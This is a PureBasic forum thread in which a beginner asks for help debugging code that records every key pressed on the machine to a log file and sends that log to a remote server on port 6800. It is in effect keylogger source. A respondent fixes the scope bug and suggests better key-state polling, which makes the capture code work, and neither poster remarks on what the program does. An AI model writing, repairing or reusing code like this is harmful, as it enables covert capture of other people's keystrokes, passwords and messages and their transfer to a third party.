[ERROR] #File object not initialized.

Just starting out? Need help? Post your questions and find answers here.
User avatar
J@ckWhiteIII
Enthusiast
Enthusiast
Posts: 183
Joined: Fri May 25, 2012 7:39 pm

[ERROR] #File object not initialized.

Post by J@ckWhiteIII »

Again a (probably) stupid question: Why do I always get the "#File object not initialized." error in this code?

Code: Select all

InitNetwork ()
File = OpenFile (#PB_Any,"C:\log.txt")
Procedure getkeypress()
For i = 1 To 255
If GetAsyncKeyState_(i) = -32767
WriteStringN (File,Str (i))
EndIf
Next i
EndProcedure

If File
o = OpenNetworkConnection ("...",6800)
If o
Repeat 

getkeypress()

Until GetAsyncKeyState_(#VK_ESCAPE) = -32767

While Not Eof(File)
   Line$ = ReadString(File)
   If Not Eof(File) : Line$ + #CRLF$ : EndIf
   SendNetworkString(o, Line$)
Wend

CloseNetworkConnection (o)
CloseFile (0)
Endif
Endif

End
Networkconnection: Ok.
Key examination: Usually ok.
Write a string into the file: [ERROR] #File object not initialized.

Probably some stupid mistake, but hey...If someone else reads through the code, he might see the mistake...
If someone says "Read the fucking manual": I did...How else would I be able to do stuff like this?

Thank you in advance (even if you criticize the code/me)
User avatar
Arctic Fox
Enthusiast
Enthusiast
Posts: 609
Joined: Sun Dec 21, 2008 5:02 pm
Location: Aarhus, Denmark

Re: [ERROR] #File object not initialized.

Post by Arctic Fox »

I haven't tested this one, but you can have a look at it (look for my comments). Remember that procedures have their own local variable scope.

Code: Select all

InitNetwork ()
File = OpenFile (#PB_Any,"C:\log.txt")
Procedure getkeypress(File) ; Changed here.
  For i = 1 To 255
    If GetAsyncKeyState_(i) = -32767
      WriteStringN (File,Str (i))
    EndIf
  Next i
EndProcedure

If File
  o = OpenNetworkConnection ("...",6800)
  If o
    Repeat
      
      getkeypress(File) ; Changed here.
      
    Until GetAsyncKeyState_(#VK_ESCAPE) = -32767
    
    While Not Eof(File)
      Line$ = ReadString(File)
      If Not Eof(File) : Line$ + #CRLF$ : EndIf
      SendNetworkString(o, Line$)
    Wend
    
    CloseNetworkConnection (o)
    CloseFile (File) ; Changed here.
  EndIf
EndIf

End
User avatar
J@ckWhiteIII
Enthusiast
Enthusiast
Posts: 183
Joined: Fri May 25, 2012 7:39 pm

Re: [ERROR] #File object not initialized.

Post by J@ckWhiteIII »

Hey thanks for the (SUPER QUICK!) reply :) Yep, I had to put in "File" a few times. The error's gone now.
The server still doesn't receive any data...So...I'll go back to the server to look for mistakes...

Thanks again :)
User avatar
Arctic Fox
Enthusiast
Enthusiast
Posts: 609
Joined: Sun Dec 21, 2008 5:02 pm
Location: Aarhus, Denmark

Re: [ERROR] #File object not initialized.

Post by Arctic Fox »

Your welcome :)

Just a small tip for GetAsyncKeyState if you are checking whether a key is currently pressed:

Code: Select all

If GetAsyncKeyState_(i) & 1
I haven't done much programming with the network library yet so I can only wish you good luck :D
User avatar
J@ckWhiteIII
Enthusiast
Enthusiast
Posts: 183
Joined: Fri May 25, 2012 7:39 pm

Re: [ERROR] #File object not initialized.

Post by J@ckWhiteIII »

Oh I see :) I'm gonna use that one from now on ^^

I haven't done much with it either...So...I need luck :mrgreen: Thanks :)
Post Reply